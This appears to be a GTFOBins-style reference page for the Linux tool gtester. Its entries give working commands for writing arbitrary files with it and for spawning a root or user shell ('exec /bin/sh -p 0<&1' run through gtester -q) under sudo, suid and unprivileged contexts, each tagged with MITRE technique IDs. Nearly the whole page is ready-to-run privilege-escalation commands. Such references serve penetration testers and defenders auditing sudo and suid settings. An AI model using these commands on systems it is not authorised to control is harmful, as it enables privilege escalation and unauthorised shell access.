GTFO · Tool

gtester

6 techniquesLinuxGTFOBinsGPL-3.0

file-write

File WritePrivilege EscalationLinux

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gtester/

File WritePrivilege EscalationLinux

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gtester/

File WriteLinux

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gtester/

ExecutionPrivilege EscalationLinux

echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gtester/

ExecutionPrivilege EscalationLinux

echo '#!/bin/sh -p' >/path/to/temp-file
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gtester/

ExecutionLinux

echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gtester/